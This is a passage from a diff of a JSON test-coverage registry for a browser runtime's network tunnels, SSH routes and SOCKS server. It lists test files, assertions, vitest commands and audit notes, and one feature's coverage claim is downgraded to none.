exact release\",\n \"zero-byte claims, socket sources, hosts, and leases have independent bounds\",\n \"released leases cannot admit work and retained owners keep exact accounting alive\",\n \"unavailable native-buffer evidence fails closed until its exact source releases\"\n ]\n },\n {\n \"file\": \"src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\n \"assertions\": [\n \"domain CONNECT preserves the final execution-host DNS target\",\n \"unsupported commands and unavailable routes open no fallback destination\"\n ]\n },\n {\n \"file\": \"src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts\",\n \"assertions\": [\n \"ungranted or wrong-key SSH routes are rejected before resolver or binary registration\",\n \"connector diagnostics are mapped to a stable public error without local path disclosure\",\n \"grant revocation aborts connector startup immediately and cannot race through route admission\",\n \"the server allocates route generations and fences the replaced route\"\n ]\n },\n {\n \"file\": \"src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts\",\n \"assertions\": [\n \"closes a subscription that resolves after route teardown\",\n \"settles startup when close follows subscription acquisition before readiness\",\n \"bounds the post-auth readiness wait\",\n \"binds and releases the exact browser-host outbound memory lease\",\n \"keeps one listener fail-closed and accepts an increasing replacement generation\",\n \"ignores late callbacks from a superseded transport\",\n \"recovers again after a second transport death\",\n \"rejects a non-increasing replacement generation and remains retryable\",\n \"fences a ready generation even when the replacement closes before its await resumes\",\n \"replaces the tunnel generation before recycling a bounded stream ID\"\n ]\n },\n {\n \"file\": \"src/main/browser/network/execution-routes/ssh-browser-network-execution-route.test.ts\",\n \"assertions\": [\n \"does not adopt a replacement ssh2 client under the captured authority\",\n \"releases a deferred socket when forwardOut throws during disconnect\",\n \"aborts system SSH startup when route authorization is revoked\",\n \"reaches external sites over ssh2 through the host proxy and keeps local names direct\",\n \"dials directly while the host environment is unreadable and adopts it once a retry reads it\",\n \"reaches external sites over system SSH through the host proxy\"\n ]\n },\n {\n \"file\": \"src/main/ssh/system-transport/forwarding/system-ssh-dynamic-forward-process.test.ts\",\n \"assertions\": [\n \"authority invalidation cancels an in-progress SSH launch and destroys its active readiness probe immediately\"\n ]\n },\n {\n \"file\": \"tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\",\n \"assertions\": [\n \"an ephemeral sshd resolves a container-only domain and returns a unique HTTP marker\",\n \"the real ssh2 forwardOut receives that exact domain and provider loss fences the route\",\n \"one non-interactive system-OpenSSH dynamic forward passes the same remote-only oracle and closes cleanly\"\n ]\n },\n {\n \"file\": \"src/shared/remote-runtime/requests/remote-runtime-subscription-request.test.ts\",\n \"assertions\": [\n \"nested JSON responses route by exact request ID under reverse-order delivery\"\n ]\n },\n {\n \"file\": \"src/shared/remote-runtime/remote-runtime-client.test.ts\",\n \"assertions\": [\n \"the authenticated socket binds the optional tunnel capability\",\n \"the dedicated outbound queue reports hard overflow instead of dropping a frame\",\n \"encrypted queue claims release synchronously while native socket ownership remains charged through exact close\"\n ]\n },\n {\n \"file\": \"src/shared/network/websocket/ws-outbound-backpressure-queue.test.ts\",\n \"assertions\": [\n \"direct and already-retained queued frames use distinct aggregate admission semantics\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/routing/guest-authority/browser-route-webcontents-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/runtime/browser/client-pages/runtime-browser-client-page-recovery.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/browser/browser-client-host-reconciliation.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-pages/lifecycle/browser-client-page-reconciliation-adapters.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts src/shared/network/websocket/ws-outbound-backpressure-queue.test.ts src/shared/remote-runtime/remote-runtime-client.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/shared/network/websocket/ws-outbound-backpressure-queue.test.ts src/shared/remote-runtime/remote-runtime-client.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/remote-runtime-client.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/requests/remote-runtime-subscription-request.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-registry.test.ts src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/browser/network/execution-routes/browser-network-deferred-socket.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/browser/network/execution-routes/ssh-browser-network-execution-route.test.ts src/main/ssh/system-transport/forwarding/system-ssh-dynamic-forward-process.test.ts src/main/ssh/system-transport/forwarding/system-ssh-forward-process.test.ts src/main/ssh/system-transport/system-ssh-operations.test.ts src/main/ssh/port-forwarding/ssh-port-forward.test.ts\",\"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote/ssh-hosts/ssh-browser-network-execution-route.docker.unit.test.ts\",\"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 node_modules/.bin/vitest run --config config/vitest.config.ts tests/e2e/remote/ssh-hosts/ssh-browser-network-execution-route.docker.unit.test.ts\"],\"testFiles\":[\"src/main/browser/routing/guest-authority/browser-route-webcontents-registry.test.ts\",\"src/main/runtime/browser/client-pages/runtime-browser-client-page-recovery.test.ts\",\"src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts\",\"src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts\",\"src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\"src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"src/main/runtime/rpc/methods/browser/browser-client-host-reconciliation.test.ts\",\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts\",\"src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts\",\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts\",\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-registry.test.ts\",\"src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts\",\"src/main/browser/client-pages/lifecycle/browser-client-page-reconciliation-adapters.test.ts\",\"src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts\",\"src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts\",\"src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts\",\"src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts\",\"src/main/browser/network/execution-routes/browser-network-deferred-socket.test.ts\",\"src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts\",\"src/main/browser/network/execution-routes/ssh-browser-network-execution-route.test.ts\",\"src/main/ssh/system-transport/forwarding/system-ssh-dynamic-forward-process.test.ts\",\"src/main/ssh/port-forwarding/ssh-port-forward.test.ts\",\"src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts\",\"src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts\",\"src/shared/remote-runtime/remote-runtime-client.test.ts\",\"src/shared/remote-runtime/requests/remote-runtime-subscription-request.test.ts\",\"src/shared/network/websocket/ws-outbound-backpressure-queue.test.ts\",\"tests/e2e/remote/ssh-hosts/ssh-browser-network-execution-route.docker.unit.test.ts\"],\"assertionRefs\":[{\"file\":\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts\",\"assertions\":[\"an acknowledged mutation replay uses the preserved dispatcher result without rerunning its handler\"]},{\"file\":\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts\",\"assertions\":[\"waits for old handlers and ignores their late callbacks before replacement\",\"keeps one command gate across repeated loss while fencing stale route recovery\"]},{\"file\":\"src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts\",\"assertions\":[\"joins concurrent cleanup callers and holds resources until exact native destruction\"]},{\"file\":\"src/main/browser/client-pages/lifecycle/browser-client-page-reconciliation-adapters.test.ts\",\"assertions\":[\"destroys a guest rekeyed during an authority transition instead of granting navigation\"]},{\"file\":\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-registry.test.ts\",\"assertions\":[\"keeps a failed authority transition tombstoned until cleanup settles\"]},{\"file\":\"src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts\",\"assertions\":[\"retains one exact route until its final page releases it\",\"keeps an ambiguously closed route fenced until final registry cleanup\",\"retires old authority routes without destroying them before exact page cleanup\",\"aborts a stale route recovery without retaining its retry timer\",\"fails bounded recovery after one route exhausts grace without leaking timers\",\"mints a fresh route for a retain that lands while the previous one is closing\",\"waits for a route still closing before reporting retirement\",\"rejects a retain the moment its signal aborts mid-startup\",\"refuses a retain that waited out a closing route onto a retired registry\",\"reports a failed final cleanup to an awaiting retirement\"]},{\"file\":\"src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"assertions\":[\"keeps a timed-out retirement fenced until its handler actually settles\",\"bounds close while canceling queued and non-cooperative handlers\"]},{\"file\":\"src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts\",\"assertions\":[\"oversized wire payloads fail before page, sequence, or delivery admission\",\"new issue delivery failure closes the ledger and fences every outstanding outcome\"]},{\"file\":\"src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"assertions\":[\"negotiated exact reattach emits ready before replaying the unchanged unsettled command\",\"reattach before old cleanup preserves the same authority and ends only the superseded connection stream\",\"only the exact negotiated connection, paired device, and live page placement can settle a server-owned command\",\"exact duplicate results are idempotent while conflicts and stale or retired placement fail closed\",\"a second browser-host identity on one authenticated connection is rejected\"]},{\"file\":\"src/main/runtime/rpc/methods/browser/browser-client-host-reconciliation.test.ts\",\"assertions\":[\"command result settlement requires the exact negotiated reconciliation authority\"]},{\"file\":\"src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts\",\"assertions\":[\"replenishes client credit only after the destination write settles\",\"keeps concurrent streams alive when late data arrives for a retired stream\",\"flushes credited destination bytes before close\",\"caps aggregate retained destination bytes and releases exact stream accounting\",\"caps unsettled destination writes and releases retirement exactly once\",\"releases queued bytes once when an accepted send closes reentrantly\"]},{\"file\":\"src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts\",\"assertions\":[\"multiple execution-host routes share browser-host application-byte admission in both traffic directions\",\"route close releases aggregate claims exactly before stale destination-write callbacks\"]},{\"file\":\"src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts\",\"assertions\":[\"preserves remote DNS and waits for an opened acknowledgement\",\"sends only credited bytes in bounded frames and replenishes consumed input\",\"ignores a retired stream frame but rejects a never-allocated stream ID\",\"never reuses stream IDs within one generation after its bounded ledger exhausts\",\"replenishes only bytes settled after the readable consumer takes them\",\"fails closed when pending tiny destination frames exceed the chunk cap\",\"drains data that precedes a remote close before retiring the socket\"]},{\"file\":\"src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts\",\"assertions\":[\"application, encrypted-queue, and native socket bytes share one host ceiling\",\"distinct hosts share one process ceiling with exact release\",\"zero-byte claims, socket sources, hosts, and leases have independent bounds\",\"released leases cannot admit work and retained owners keep exact accounting alive\",\"unavailable native-buffer evidence fails closed until its exact source releases\"]},{\"file\":\"src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"assertions\":[\"domain CONNECT preserves the final execution-host DNS target\",\"unsupported commands and unavailable routes open no fallback destination\"]},{\"file\":\"src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts\",\"assertions\":[\"ungranted or wrong-key SSH routes are rejected before resolver or binary registration\",\"connector diagnostics are mapped to a stable public error without local path disclosure\",\"grant revocation aborts connector startup immediately and cannot race through route admission\",\"the server allocates route generations and fences the replaced route\"]},{\"file\":\"src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts\",\"assertions\":[\"closes a subscription that resolves after route teardown\",\"settles startup when close follows subscription acquisition before readiness\",\"bounds the post-auth readiness wait\",\"binds and releases the exact browser-host outbound memory lease\",\"keeps one listener fail-closed and accepts an increasing replacement generation\",\"ignores late callbacks from a superseded transport\",\"recovers again after a second transport death\",\"rejects a non-increasing replacement generation and remains retryable\",\"fences a ready generation even when the replacement closes before its await resumes\",\"replaces the tunnel generation before recycling a bounded stream ID\"]},{\"file\":\"src/main/browser/network/execution-routes/ssh-browser-network-execution-route.test.ts\",\"assertions\":[\"does not adopt a replacement ssh2 client under the captured authority\",\"releases a deferred socket when forwardOut throws during disconnect\",\"aborts system SSH startup when route authorization is revoked\",\"reaches external sites over ssh2 through the host proxy and keeps local names direct\",\"dials directly while the host environment is unreadable and adopts it once a retry reads it\",\"reaches external sites over system SSH through the host proxy\"]},{\"file\":\"src/main/ssh/system-transport/forwarding/system-ssh-dynamic-forward-process.test.ts\",\"assertions\":[\"authority invalidation cancels an in-progress SSH launch and destroys its active readiness probe immediately\"]},{\"file\":\"src/shared/remote-runtime/requests/remote-runtime-subscription-request.test.ts\",\"assertions\":[\"nested JSON responses route by exact request ID under reverse-order delivery\"]},{\"file\":\"src/shared/remote-runtime/remote-runtime-client.test.ts\",\"assertions\":[\"the authenticated socket binds the optional tunnel capability\",\"the dedicated outbound queue reports hard overflow instead of dropping a frame\",\"encrypted queue claims release synchronously while native socket ownership remains charged through exact close\"]},{\"file\":\"src/shared/network/websocket/ws-outbound-backpressure-queue.test.ts\",\"assertions\":[\"direct and already-retained queued frames use distinct aggregate admission semantics\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\",\"linux\"],\"coveredProviders\":[],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1401 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1340 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The protocol and tunnel-session oracles fail on origin/main 3246b73add because the modules do not exist, then pass on the candidate. The lease registry and control-client suites were recorded red at missing modules before implementation. The unchanged tunnel authorization oracle was behaviorally red because an authenticated socket could self-assert its paired device ID and received ready generation 7 without a lease; it is green after server-owned lease and route fencing. On c9a41abf24, the unchanged admission oracle failed three ways: a second identity on one connection and a fifth identity for one paired device were both admitted, and closed page placement had no retirement API. All three pass after bounded admission and tombstone-free global page generations. Before the admission-fairness stage, one paired device's four hosts filled the global host cap and rejected a second device, initial runtime_busy was terminal, and reconnect runtime_busy ended preserved authority. Raising only the host cap then let asks and hosts starve ordinary waits. The reviewed candidate caps hosts at eight globally and four per authenticated paired device, caps asks plus hosts at twelve of sixteen polls, and retries runtime_busy only inside the existing attach or reconnect deadline; the unchanged oracle passes all 16 focused assertions with exact counter, subscription, and timer release. On parent 81eb14c849, the initial three replacement-barrier tests failed because occupied client and server pages could be overwritten without retirement; the candidate rejects every placement-kind overwrite before host selection, preserves capacity until exact retirement, and keeps replacement generations monotonic. On parent 32c0c7f309, all five two-phase retirement tests failed because retirement had only an immediate-delete API; the candidate fences pending pages, restores exact cancellation, rejects delayed tokens, and releases capacity only after exact completion. On parent 392d13be9f, the deterministic resource oracle admitted 17 pending opens, admitted a 129th open inside 10 seconds, and retained more than 8 MiB across one route; all three failed assertions pass on the candidate, which also covers unsettled writes and reentrant exact release. With aggregate enforcement replaced by a no-op scaffold on parent b32610e365, all three host/process memory assertions failed: host bytes, process bytes, claims, and socket sources were independently unbounded. They pass with exact owner release, client and execution-host application charging, encrypted queue/native socket charging, and bounded drain. On parent a089829521, stream exhaustion was not distinguishable, transport loss closed the local listener with ECONNREFUSED, reconnect opened no replacement subscription, and a ready generation that closed before await continuation could be replayed. The initial reconnect candidate also retained a dead transport after a client-side protocol failure and therefore refused replacement. The reviewed candidate keeps one fail-closed address, propagates protocol closure, strictly fences observed generations, ignores superseded callbacks, and recycles stream IDs only after replacement while preserving the v1 attach shape. Parent 9889adf4c5 accepts only a native executionHost schema and its handler unconditionally reads native runtimeId and revision; widening the schema made node typecheck fail at those exact assumptions before adapter integration. The candidate keeps native subscription bytes and capabilities unchanged, capability-gates SSH, rejects stale authority before binary registration, and passes exact domains through both adapter contracts. Before the reviewed authorization and lifecycle fix, 10 of 34 focused assertions failed: an ungranted SSH key reached the resolver, grants did not exist, native routes exposed a global never-settling invalidation promise, pre-attach destroy emitted no close, synchronous forwardOut escaped without cleanup, OpenSSH did not force a standalone process, and raw connector detail crossed the RPC boundary. The same 34 assertions pass with exact tokenized grants, optional native invalidation, one-close deferred sockets, caught synchronous opens, standalone OpenSSH, and stable public errors. The real paired journey failed at the missing network.browserTunnel method before explicit test injection, then passed with an exact control lease while both production registries remained closed. Full mutation/revert evidence remains to be collected before promotion.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"Changed selectors have no new soak result after Audit1401; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audit1340; any retained unchanged-source receipts apply only to their own commands. Historical account: The deterministic and paired-runtime suites passed locally; CI and soak history have not started for the stacked route stage.\"},\"runtimeBudget\":{\"p95Seconds\":10,\"scope\":\"Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands.\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Audit1900 removes direct-send and guard/counter inventories from the queue suite. Historical byte/count/drain budgets remain policy and earlier measurements apply only to their unchanged selectors. The reduced source has no fresh work-count or latency measurement; required performanceBudget and numeric runtime budget remain unchanged. Historical prior account (preserved verbatim): Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Data frames, send credit, pending bytes and chunk counts in both directions, streams, SOCKS handshake, and pipelined application bytes are bounded. Each route admits at most 256 streams (pending opens included), 1024 opens per monotonic 10-second window, and 8 MiB of session-owned queued or unsettled application bytes with exact settlement and retirement release. Multiple client routes share a 32 MiB browser-host and 128 MiB process ceiling across application copies, encrypted queue frames, and dynamic native socket buffers; the execution runtime uses the same per-host/process application policy. Claims, socket sources, host records, and leases have independent count caps; explicit close releases JavaScript queue claims synchronously while native socket ownership remains charged until exact socket close. Parked encrypted queues hand at most four frames to the native socket per immediate cooperative drain turn. One authenticated connection retains at most one browser host and one paired device at most four, with exact release restoring admission. Permanent browser-host polls use at most eight of sixteen slots and four per authenticated paired device; asks plus hosts use at most twelve, preserving four slots for ordinary waits. Admission retry adds no polling or subprocess: it owns one attach subscription and one timer at a time, uses deterministic client-specific jitter, and cannot outlive the existing attach timeout or negotiated reconnect grace. Each SSH route owns one ssh2 authority or one standalone system-SSH dynamic-forward process, keeps at most 64 KiB of stderr tail, and releases every adapter/socket on exact route close or provider rotation. The system-SSH process exposes a separate no-auth loopback SOCKS listener outside application stream/rate/memory accounting under the documented same-user desktop trust boundary. Credit returns only after the execution-host or browser-facing socket write settles, and the injected transport must explicitly accept each frame. Node stream-internal high-water bytes and strict cross-route scheduling evidence remain required before live tunnel advertisement.\"}}" ], "demotionRule": "Keep experimental or demote if a self-asserted or ambiguous host can receive a route, an SSH descriptor bypasses capability, lease-bound grant, or provider-authority checks, late cleanup can remove a replacement, a route can resolve names on the desktop, exceed a byte or stream bound, replenish credit before destination settlement, accept a stale or non-increasing generation, reuse a stream ID within one generation, lose or bypass its fail-closed listener during reconnect, expose the SOCKS listener off-loopback, accept BIND/UDP, or fall back when the selected route is unavailable." }, @@ -5021,7 +4559,7 @@ "id": "browser-client-host.activated-placement", "title": "Eligible paired Electron clients host new browser pages without dual execution", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "browser-runtime", "layer": "paired-runtime-product-placement-and-materialization", "surfaces": [ @@ -5034,129 +4572,33 @@ ], "platforms": ["macos", "linux", "windows", "ios"], "providers": ["remote-runtime", "ssh", "wsl"], - "coveredPlatforms": ["macos", "ios", "linux"], - "coveredProviders": ["remote-runtime", "ssh", "wsl"], - "coverageNotes": "Test-value audit removes two direct execution-host classifier refusal examples and their active selector; their helper alarms are lost without replacement routing coverage. Audit1709 removes low-value test definitions and retires affected assertion or execution-receipt claims without equivalent replacement coverage. Per-source reviews bound retained behavior and injected/native/remote limits. Unchanged assertions and receipts keep their original scope; gates lacking current active evidence are downgraded. Historical scope before this audit: Audit1687 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1686 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1571 removes mock forwarding, capability/schema inventories, private predicates, supplied error/result replays, and filesystem-mocked persistence checks without equivalent replacement claims. Retained changed tests also exercise real local permission-file reread, registry proxy rollback/credential retirement, site display recovery, and pending sender/credential/document admission with injected Electron/UI producers. Retained network tests exercise owned stream credit/cleanup, generation and retirement fences, real loopback proxy/SOCKS bytes and file-backed binding state. SSH/WSL/paired runtime, native sessions, authority producers and storage clears remain injected; simulated relaunch uses filesystem mocks. The unchanged profile-retirement suite was statically reviewed and not rerun. No actual SSH/WSL runtime, native Chromium jar deletion, durable process restart, remote DNS or external site proof. Receipts selecting changed tests are retired and unaffected receipts remain unchanged. Historical scope before this audit: Fresh-build Playwright journeys run the same production store action against an isolated headed Electron server and a real headless orca serve host. They prove one immutable client placement owns one real retained guest on the viewing desktop, the server owns no duplicate guest, no screencast frame renders, browser.snapshot reaches the client guest, disabling the setting preserves that guest, and the next page uses the legacy server engine. Deterministic contracts cover omitted placement, missing capabilities, explicit server placement, exact renderer-store materialization after delayed publication, no fallback after client-create failure, folder workspaces, git worktrees, browserless hosts, native and WSL routes, exact connected SSH authority, reconnect command replay, lease replacement, imported-inventory cleanup, bounded retirement, and shared remote screencast fanout for multiple independent viewers. A published v1.4.184 package runs both skew directions: an old client omits placement against the current host, while a current client capability-downgrades against the old host; each creates one server guest, no client guest, and returns the exact snapshot marker. A current iOS Simulator client paired to that legacy packaged host visibly loads Example Domain through the preserved server-hosted surface. A Docker OpenSSH target proves container-only DNS and localhost through both ssh2 and system-SSH routes. Physical Windows/Linux Electron and physical mobile journeys remain gaps. The two Docker remote-only SSH browser routing journeys now run in the dedicated Linux ssh-browser-network-route CI job on full runs and their mapped source/test changes; 2 baseline and 6 repeated cases passed with no skips/retries on 2026-09-06. Schema-only placement/navigation acceptance is excluded from behavioral and mixed-version evidence. The mocked client-placement and immediate create-failure suites were removed, including parameter selection, delayed mocked materialization and no-fallback call ledgers. The remaining live journeys and contracts do not establish equivalent unit alarms. Earlier descriptions and executed results for those fixtures are historical.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Test-value audit removes two direct execution-host classifier refusal examples and their active selector; their helper alarms are lost without replacement routing coverage. Audit1709 removes low-value test definitions and retires affected assertion or execution-receipt claims without equivalent replacement coverage. Per-source reviews bound retained behavior and injected/native/remote limits. Unchanged assertions and receipts keep their original scope; gates lacking current active evidence are downgraded. Historical scope before this audit: Audit1687 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1686 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1571 removes mock forwarding, capability/schema inventories, private predicates, supplied error/result replays, and filesystem-mocked persistence checks without equivalent replacement claims. Retained changed tests also exercise real local permission-file reread, registry proxy rollback/credential retirement, site display recovery, and pending sender/credential/document admission with injected Electron/UI producers. Retained network tests exercise owned stream credit/cleanup, generation and retirement fences, real loopback proxy/SOCKS bytes and file-backed binding state. SSH/WSL/paired runtime, native sessions, authority producers and storage clears remain injected; simulated relaunch uses filesystem mocks. The unchanged profile-retirement suite was statically reviewed and not rerun. No actual SSH/WSL runtime, native Chromium jar deletion, durable process restart, remote DNS or external site proof. Receipts selecting changed tests are retired and unaffected receipts remain unchanged. Historical scope before this audit: Fresh-build Playwright journeys run the same production store action against an isolated headed Electron server and a real headless orca serve host. They prove one immutable client placement owns one real retained guest on the viewing desktop, the server owns no duplicate guest, no screencast frame renders, browser.snapshot reaches the client guest, disabling the setting preserves that guest, and the next page uses the legacy server engine. Deterministic contracts cover 